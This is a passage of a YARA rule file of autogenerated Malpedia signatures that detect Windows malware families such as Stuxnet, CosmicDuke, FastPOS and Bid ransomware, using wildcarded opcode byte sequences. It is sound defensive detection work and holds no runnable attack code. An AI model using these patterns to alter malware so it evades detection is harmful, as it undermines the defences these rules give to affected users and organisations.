		$sequence_19 = { e8???????? 85c0 750c c705????????03000000 }
		$sequence_20 = { 8b4508 8b00 99 52 50 6a00 }
		$sequence_21 = { 53 53 53 8901 }
		$sequence_22 = { 0f114f20 0f104840 0f114730 0f104050 0f114f40 0f104860 0f114750 }
		$sequence_23 = { 754c 8b5e02 8d45e4 6a1c 50 }
		$sequence_24 = { 03c1 3bd8 7323 8b33 }
		$sequence_25 = { 85c0 56 0f45ca 894dfc ff15???????? }
		$sequence_26 = { 8b4c2434 ff15???????? 0fb74c2432 ff15???????? }
		$sequence_27 = { 0f104010 0f110f 0f104820 0f114710 0f104030 0f114f20 0f104840 }
		$sequence_28 = { 8b4070 894770 be01000000 ff15???????? }
		$sequence_29 = { 0f104060 0f114760 8b4070 894770 }
		$sequence_30 = { 7510 8d4864 ff15???????? ffc3 83fb0a }
		$sequence_31 = { c602e9 2bc8 894a01 83c205 8b4610 33c9 }
		$sequence_32 = { 0f104860 0f114750 0f114f60 b801000000 }
		$sequence_33 = { 8b4de8 b84d5a0000 663901 754e 8b513c 03d1 813a50450000 }
		$sequence_34 = { ffc3 83fb0a 7cd5 33c0 }
		$sequence_35 = { ffd3 8b8de4fdffff 8b36 85f6 75a2 8b3f 85ff }
		$sequence_36 = { 8b7df4 85ff 7414 57 8bce e8???????? }
	condition:
		7 of them and filesize < 516096
}

rule MALPEDIA_Win_Cinobi_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "21772936-199b-55b9-8c88-84909fbe932b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cinobi"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cinobi_auto.yar#L1-L163"
		license_url = "N/A"
		logic_hash = "3b7b598c2d1d5a6445b3767b26d122931b2d9423a26b8573ddc77c7b26c5617b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c9 c3 55 8bec 51 e8???????? 58 }
		$sequence_1 = { 660fbe404b 668985a0fdffff 8b45f8 660fbe4005 668985a2fdffff 8b45f8 660fbe4005 }
		$sequence_2 = { 55 8bec 83ec44 53 e8???????? }
		$sequence_3 = { 8845ce c645cf00 8b45c0 8a4031 }
		$sequence_4 = { 6805100000 56 8b75f0 56 ff93f7000000 }
		$sequence_5 = { 8365dc00 8945e0 8d45fc 8945e4 8d45f4 }
		$sequence_6 = { 50 51 ff93eb000000 8b4df4 e8???????? 8bf8 }
		$sequence_7 = { 57 8b7dd0 894dfc 3bcb 7504 33c0 eb2c }
		$sequence_8 = { 8a4d0c 8808 ebe5 c9 c3 }
		$sequence_9 = { 8845fb 8d45a4 50 ff7508 e8???????? 59 }
		$sequence_10 = { 8b45f4 ff90db000000 8945ec 837decff 7513 }
		$sequence_11 = { 8b4510 8945ec 8b45e4 8b4dfc 8b0481 034508 }
		$sequence_12 = { 837de000 0f85ac000000 6a02 8d87c0120000 50 }
		$sequence_13 = { 8a5832 885dd1 8a5834 885dd2 }
		$sequence_14 = { 837de8ff 7507 32c0 e9???????? 6a00 ff75e8 8b45f4 }
	condition:
		7 of them and filesize < 32768
}

rule MALPEDIA_Win_Rambo_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "339a4d7e-9b02-5b2f-918a-fe5abee15d73"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rambo"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rambo_auto.yar#L1-L180"
		license_url = "N/A"
		logic_hash = "5e0ac76c4c54838a65e8020ef5ae20ae2814aaf559d8acf1871f9f9e1fb0aa1a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d85f8faffff 6a01 50 ff15???????? 80a43df8faffff00 56 }
		$sequence_1 = { 8065fe00 8d45fc 50 8d85f8feffff 50 c645fc72 }
		$sequence_2 = { ff15???????? 83c428 6a32 ff15???????? 8d85f8faffff 50 }
		$sequence_3 = { 83c410 85f6 745e 57 6a02 }
		$sequence_4 = { 8d85ecfdffff 50 8d85f0feffff 50 ff15???????? 83c41c }
		$sequence_5 = { 50 68???????? e8???????? 59 59 6a01 58 }
		$sequence_6 = { 81ec14020000 8d85f0feffff 56 50 6804010000 }
		$sequence_7 = { 59 8d85fcfeffff 59 50 ff15???????? 33c0 }
		$sequence_8 = { 0f85ba000000 8d4c241c c68424000400000f e8???????? 8d8c249c000000 c68424000400000b e8???????? }
		$sequence_9 = { 33c0 50 8d4c241c c684240404000002 }
		$sequence_10 = { 03dd 33c3 8d1c31 33c3 81c14786c861 2bf8 4a }
		$sequence_11 = { 57 b940000000 8d7c240d 8844240c f3ab 66ab }
		$sequence_12 = { 56 56 8d4c2424 e8???????? 50 8d4c246c e8???????? }
		$sequence_13 = { c684240004000001 e8???????? c684240004000000 8d4c2464 e8???????? 8d4c242c c7842400040000ffffffff }
		$sequence_14 = { 33ed 6804010000 6804010000 8d4c2434 89ac2408040000 e8???????? }
		$sequence_15 = { 8d4c2414 6a20 51 8d4c2424 e8???????? 50 8d4c242c }
	condition:
		7 of them and filesize < 57344
}

rule MALPEDIA_Win_Bart_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "69293053-9c73-5e85-bfc8-1bda4f3480af"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bart"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bart_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "3bd63c0862e680fa10847ed0fefa7078e2170f430f6b6047eb709673a0606c78"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 74d1 68ffffff00 50 8d45d8 8bce 50 e8???????? }
		$sequence_1 = { 8d4dbc e8???????? 8b8558ffffff 8d8d7cffffff 8b9550ffffff 0fb600 }
		$sequence_2 = { 8d4dd4 eb55 84db 755a 6a02 5a 8d4de4 }
		$sequence_3 = { 48 0fb7c0 6683f801 7e7e }
		$sequence_4 = { 53 56 57 8d45b8 8955ec 8bf9 50 }
		$sequence_5 = { ffb63c010000 53 ffd7 83c40c 3b461c 75e1 33c0 }
		$sequence_6 = { 8bfa 8bd9 384601 7e11 }
		$sequence_7 = { 8bec 53 56 8bd9 57 33ff 397b48 }
		$sequence_8 = { 0f840c010000 57 ff15???????? 6800ff0000 ffd3 8bf8 85ff }
		$sequence_9 = { 50 8b83b0000000 ffd0 8b95c8feffff 8b8db8feffff 53 56 }
	condition:
		7 of them and filesize < 163840
}

rule MALPEDIA_Win_Alphanc_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "44e5cd2d-dd6f-5dec-8633-e36984c0d4b0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alphanc"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.alphanc_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "d03fa53d22f05f45f0bb38627a16b1b71ce74e44da84ac0b88c2ab879180e110"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 8d45f0 8d4de8 50 51 ff15???????? 57 }
		$sequence_1 = { 8d044544ce4e00 eb59 8d044542ce4e00 eb50 f6c303 740d 0fb74208 }
		$sequence_2 = { 8b6c2424 55 56 e8???????? 8b542458 83c408 8d4aff }
		$sequence_3 = { bf50000000 6a41 e9???????? 56 e8???????? 83c404 85c0 }
		$sequence_4 = { e8???????? 85c0 7526 8a4b7c 8a142e 32d1 6857a0a6f8 }
		$sequence_5 = { 8b6c2438 68f1000000 68???????? 6a68 6891000000 6a04 e8???????? }
		$sequence_6 = { 8b7c240c 8b4604 894704 8b0e 8b5608 51 52 }
		$sequence_7 = { e8???????? 8be8 83c40c 85ed 753e b841000000 6852010000 }
		$sequence_8 = { 8b4d04 83c102 3bc1 7cef 8b5504 83c202 895704 }
		$sequence_9 = { 57 e8???????? 83c408 85c0 0f8489000000 8b0f 8b5500 }
	condition:
		7 of them and filesize < 2015232
}

rule MALPEDIA_Win_Stuxnet_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "64e9fab1-7d89-5a6e-8a31-2df625be17c1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stuxnet"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stuxnet_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "0de893dd2abe057bcddad1952313e85e04a81b980ccf81d569805dbd5ff30eda"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 84c0 7504 804e1104 e8???????? 84c0 7404 }
		$sequence_1 = { ff750c 8d4580 50 e8???????? 33db 895dfc 8d4580 }
		$sequence_2 = { ff75f8 8d963c0b0000 57 e8???????? 59 59 5f }
		$sequence_3 = { c3 8b44240c 8906 33c0 40 5e c3 }
		$sequence_4 = { 8d4580 50 8d8540ffffff 50 e8???????? c645fc05 50 }
		$sequence_5 = { e8???????? ff75c8 8d45ec 50 e8???????? ff75c9 8d45ec }
		$sequence_6 = { b8???????? e8???????? 51 8365f000 56 8b7508 8d45f0 }
		$sequence_7 = { e8???????? eb02 33c0 c645fc00 8b7d08 83c704 50 }
		$sequence_8 = { e8???????? 8906 895604 c9 c3 8b08 8b4004 }
		$sequence_9 = { 8955ec c7042410270000 e8???????? c645fc01 8b0e 8b01 6a02 }
	condition:
		7 of them and filesize < 2495488
}

rule MALPEDIA_Win_Oddjob_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ce6f270b-4df6-5ffb-b080-81b3ac10b32d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oddjob"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.oddjob_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "1f224904baf5c3783236036cd0bf598b6b7ff28b5975f43a99b2c079a61b51a9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 399da494ffff 7520 399d9c94ffff 7418 8bb59c94ffff 8b06 56 }
		$sequence_1 = { c6856affffff51 c6856bffffff8b c6856cffffff56 c6856dffffff14 }
		$sequence_2 = { 888592fcffff c68593fcffff53 c68594fcffff3e c68595fcffff5b }
		$sequence_3 = { 8d85fefdffff 57 50 c785ccf7ffff01000000 89bdc0f7ffff e8???????? }
		$sequence_4 = { 8b7d08 57 8bcb e8???????? 57 8945e0 897d08 }
		$sequence_5 = { 0f844c080000 663d7800 0f8442080000 663d5800 0f8438080000 83a598fbffff00 8bb5dcfbffff }
		$sequence_6 = { 889dd3feffff 889dd4feffff 889dd5feffff c685d6feffff56 }
		$sequence_7 = { f7f7 8b4508 8a0401 32c2 88040e 41 8955fc }
		$sequence_8 = { c68558fcffff8b c68559fcffff76 c6855afcffff10 c6855bfcffff01 c6855cfcffffc3 c6855dfcffff53 }
		$sequence_9 = { 83cfff f7f7 8b4508 8a0401 32c2 88040e }
	condition:
		7 of them and filesize < 221184
}

rule MALPEDIA_Win_Interception_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f1a298d5-70e2-5f27-b6ee-691574cd9abf"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.interception"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.interception_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "3520af3329a4b24d818d777e1e8f70b92d9cafa69a1f58bf6db64da9ed00530f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83e61f 8d1c8520ae0010 c1e603 8b03 f644300401 7469 57 }
		$sequence_1 = { 72f1 56 8bf1 c1e603 3b96e8710010 }
		$sequence_2 = { c1f805 83e61f 8d1c8520ae0010 c1e603 8b03 }
		$sequence_3 = { ffb6ec710010 8d8560ffffff 50 e8???????? 6810200100 8d8560ffffff }
		$sequence_4 = { 8bd0 c1f905 83e21f 8b0c8d20ae0010 f644d10401 }
		$sequence_5 = { 8d3c8520ae0010 c1e603 8b07 03c6 f6400401 7437 }
		$sequence_6 = { f683c19c001004 7406 8816 46 }
		$sequence_7 = { 8d542434 f3ab 66ab aa }
		$sequence_8 = { 8bc8 83e01f c1f905 8b0c8d20ae0010 8a44c104 }
		$sequence_9 = { 731c 8bc8 83e01f c1f905 8b0c8d20ae0010 f644c10401 8d04c1 }
	condition:
		7 of them and filesize < 98304
}

rule MALPEDIA_Win_Revc2_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a9d168dd-7c35-55c3-a239-5afaaa4e5d1b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revc2"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.revc2_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "940c1d8169d85582e91801f5b035bb96d22b7337aecd24f108d64e53de46b408"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d4701 458bca 458bec 0f45f8 be01000000 8364244000 4183e21f }
		$sequence_1 = { e8???????? 498946b0 488bc3 49894500 486307 4c6bf068 410fb6842434010000 }
		$sequence_2 = { 90 488d8d90000000 e8???????? 90 488d4dd0 e8???????? 90 }
		$sequence_3 = { ff15???????? e9???????? 488b0e 488b11 0fb74214 a804 0f84ab010000 }
		$sequence_4 = { c5fe6f27 c5fe6f15???????? c5fe6f2d???????? c5fd71d404 c5fddbca c4e24d00d9 c5eddbc4 }
		$sequence_5 = { eb12 4863c6 488d0c40 488b8388000000 488d04c8 895008 418d7701 }
		$sequence_6 = { e8???????? 4c8b8424b8000000 498b38 4885ff 0f84fa010000 418bdd 4c8d0dca611200 }
		$sequence_7 = { 4c894dc0 4889542450 4889442458 4c895c2440 895c2430 895c2470 895da0 }
		$sequence_8 = { e8???????? 90 4c8bc0 488d4d50 e8???????? 488bf8 488d542450 }
		$sequence_9 = { e8???????? 488bc3 488b5c2450 488b7c2458 4883c440 5d c3 }
	condition:
		7 of them and filesize < 5108736
}

rule MALPEDIA_Win_Bid_Ransomware_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ce47ce7f-14e1-59ae-ba57-79394ad6dc42"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bid_ransomware"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bid_ransomware_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "f1877b67a4049109e0b2de66aad3ce4469b6223b173e84f5ebaf276fe703ce2d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d45a4 50 6a00 6a00 68???????? 6a00 }
		$sequence_1 = { 68???????? e8???????? 85c0 0f848d000000 8b7508 ff7508 }
		$sequence_2 = { e8???????? 60 6a00 6a02 e8???????? 8bd8 c785d4fdffff2c020000 }
		$sequence_3 = { e8???????? c9 c3 55 8bec 60 }
		$sequence_4 = { e8???????? 83f800 7605 8945f4 eb02 ebc9 }
		$sequence_5 = { ff759c e8???????? 8b45a8 0500040000 894590 6800010000 }
		$sequence_6 = { 6a00 6a00 e8???????? 6a0f 50 }
		$sequence_7 = { ff75f4 e8???????? ff75fc e8???????? ff05???????? ff75e4 e8???????? }
		$sequence_8 = { e8???????? 8d85d4fdffff 50 53 e8???????? ebb4 53 }
		$sequence_9 = { 6a00 8d00 50 e8???????? eb79 8b5814 66813b5c5c }
	condition:
		7 of them and filesize < 57344
}

rule MALPEDIA_Win_Maggie_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "81084c1b-a8b2-52e1-b50c-8b61dc38259b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maggie"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.maggie_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "c0bf28bd0446ea04e23665ed8ce11b5b78fa1a4a971a7efa9966e49954f77131"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? e8???????? 84c0 74ec e8???????? }
		$sequence_1 = { ff15???????? 83f8ff 750f ff15???????? 2d33270000 }
		$sequence_2 = { 663b05???????? 7505 e8???????? e8???????? }
		$sequence_3 = { 7511 ff15???????? 85c0 7407 33c0 e9???????? }
		$sequence_4 = { b8ff000000 663b05???????? 7505 e8???????? }
		$sequence_5 = { 750f ff15???????? 2d33270000 f7d8 }
		$sequence_6 = { 750f ff15???????? 2d33270000 f7d8 1bc0 }
		$sequence_7 = { 663b05???????? 7505 e8???????? e8???????? 84c0 }
		$sequence_8 = { 83f8ff 750f ff15???????? 2d33270000 f7d8 1bc0 }
		$sequence_9 = { ff15???????? 83f8ff 750f ff15???????? 2d33270000 f7d8 }
	condition:
		7 of them and filesize < 611328
}

rule MALPEDIA_Win_Gophe_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2491eb29-3935-5849-a2ad-9eccac6a7b9a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gophe"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gophe_auto.yar#L1-L159"
		license_url = "N/A"
		logic_hash = "5cb34ff791810c63e96dde8e723ffcb01f24b10439430c6d1044dfaa95dacbda"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 833902 0f94c0 84c0 7407 }
		$sequence_1 = { b905000000 ff15???????? 8b05???????? 85c0 }
		$sequence_2 = { 8d45f4 64a300000000 68e0000000 e8???????? 83c404 }
		$sequence_3 = { 85c0 7509 b803000000 5d }
		$sequence_4 = { c744242880000008 c744242003000000 4533c9 ba00000080 458d4103 }
		$sequence_5 = { 85f6 7416 6830020000 6a00 }
		$sequence_6 = { c744242010000000 4533c9 4c8b4210 8b5208 ff9088000000 }
		$sequence_7 = { 57 68???????? c70605000000 e8???????? }
		$sequence_8 = { 85c0 7838 488b4c2440 ff15???????? 8bf8 85c0 }
		$sequence_9 = { 8bf0 83c404 8bd6 b9???????? }
		$sequence_10 = { 8bf8 e8???????? 83c408 8d5001 }
		$sequence_11 = { 837d0800 7507 b802000000 5d c3 33c0 }
		$sequence_12 = { 90 4c8b45b8 4d8bc8 4d8b00 }
		$sequence_13 = { b801000000 eb09 83c8ff eb04 }
		$sequence_14 = { c744242880000000 c744242003000000 4533c9 4533c0 ba00000080 ff15???????? 488bf8 }
		$sequence_15 = { 8b4dec 33cd e8???????? 8be5 5d c21000 c745fc02000000 }
	condition:
		7 of them and filesize < 1582080
}

rule MALPEDIA_Win_Fuwuqidrama_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fa930744-5999-561a-b1cf-4c1122391afe"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fuwuqidrama"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fuwuqidrama_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "76d62a17f159b8ceb3cf4ce032c2e526c9b8417f56a11565dc77a48334fec771"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 51 8bcf e8???????? 8d9424d4020000 6a04 52 8bcf }
		$sequence_1 = { 83c10c 48 894c2434 89442418 75bd 8b742444 8b06 }
		$sequence_2 = { c1fa05 8bc2 c1e81f 03d0 895508 8d4d08 6a04 }
		$sequence_3 = { 33d2 eb16 8b4e08 2bc8 b815024d21 f7e9 c1fa06 }
		$sequence_4 = { fec8 5f 8841ff 8bc5 5e 5d 5b }
		$sequence_5 = { b90b000000 8bf0 8bfa 83c02c f3a5 8b4c2420 83c22c }
		$sequence_6 = { 23ee 8b742428 23f7 8bd9 0bee 8b74241c c1c305 }
		$sequence_7 = { 8db5f4000000 8d9d14010000 c744241800000000 e8???????? 8b442410 85c0 0f8c08010000 }
		$sequence_8 = { 83c410 48 894720 53 ff15???????? 5f 5e }
		$sequence_9 = { 03ee 8b742410 c1c71e 8db42ea1ebd96e 8b6930 33691c 33df }
	condition:
		7 of them and filesize < 245760
}

rule MALPEDIA_Win_Cosmicduke_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3cb396e5-37a7-5104-9052-2cb8d08028c4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cosmicduke"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cosmicduke_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "c91b7a120fba1263ab464236cd77e48a69e2be7cc7ffc669f627390a309044cd"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 895df4 53 33f6 885dfb ff15???????? 85c0 0f8591000000 }
		$sequence_1 = { eb0e 68???????? 8d85c0f9ffff 50 ffd3 68???????? 8d85d0fdffff }
		$sequence_2 = { 68???????? 8d85f4fdffff 50 ff15???????? 8d85ecfbffff 50 }
		$sequence_3 = { 7443 68???????? 8d842448020000 50 ffd6 85c0 7438 }
		$sequence_4 = { 68???????? 6a01 6a01 68???????? e8???????? ba01000080 8bc8 }
		$sequence_5 = { 668b044510984200 8b4dfc 6689044e 33c0 ff4d0c 75d2 8b4dfc }
		$sequence_6 = { e8???????? 8b442450 8944240c 8d44240c 50 8bfe 8d442450 }
		$sequence_7 = { 68???????? 50 6801000080 e8???????? e8???????? 3d09030000 7515 }
		$sequence_8 = { ff15???????? 83c410 6a00 ff742434 68???????? e8???????? c644245c00 }
		$sequence_9 = { 8d442424 50 8b442424 68???????? 57 895c2448 }
	condition:
		7 of them and filesize < 456704
}

rule MALPEDIA_Win_Fast_Pos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "057c36f1-0a19-594b-99bb-5ac5d28c2830"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fast_pos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fast_pos_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "bb07ee6c2efdd43c16301c1c39c93cc562e35ab0089f1712602de2983cb204bb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 8b7510 c745fc00000000 57 8bf9 85f6 792b }
		$sequence_1 = { 50 68???????? 56 c7857cffffff01000000 e8???????? }
		$sequence_2 = { ffb5e8feffff ff15???????? 85c0 7517 }
		$sequence_3 = { 5d c20c00 81feffffff7f 7ecf eb33 8b49f0 }
		$sequence_4 = { 8bec 8b4508 53 56 8bd9 8b30 }
		$sequence_5 = { e8???????? 6a10 68???????? 68???????? 6a00 ff15???????? 6a00 }
		$sequence_6 = { 6a64 8d4580 c745fc00000000 50 89b578ffffff c7857cffffff00000000 ff15???????? }
		$sequence_7 = { 0f9485ebfeffff 83c2f0 83cfff 8bc7 8d4a0c f00fc101 48 }
		$sequence_8 = { 56 c785e8feffff01000000 e8???????? 83c40c 8bc6 }
		$sequence_9 = { e8???????? ff30 ff15???????? 8b95e4feffff 8bcf }
	condition:
		7 of them and filesize < 327680
}

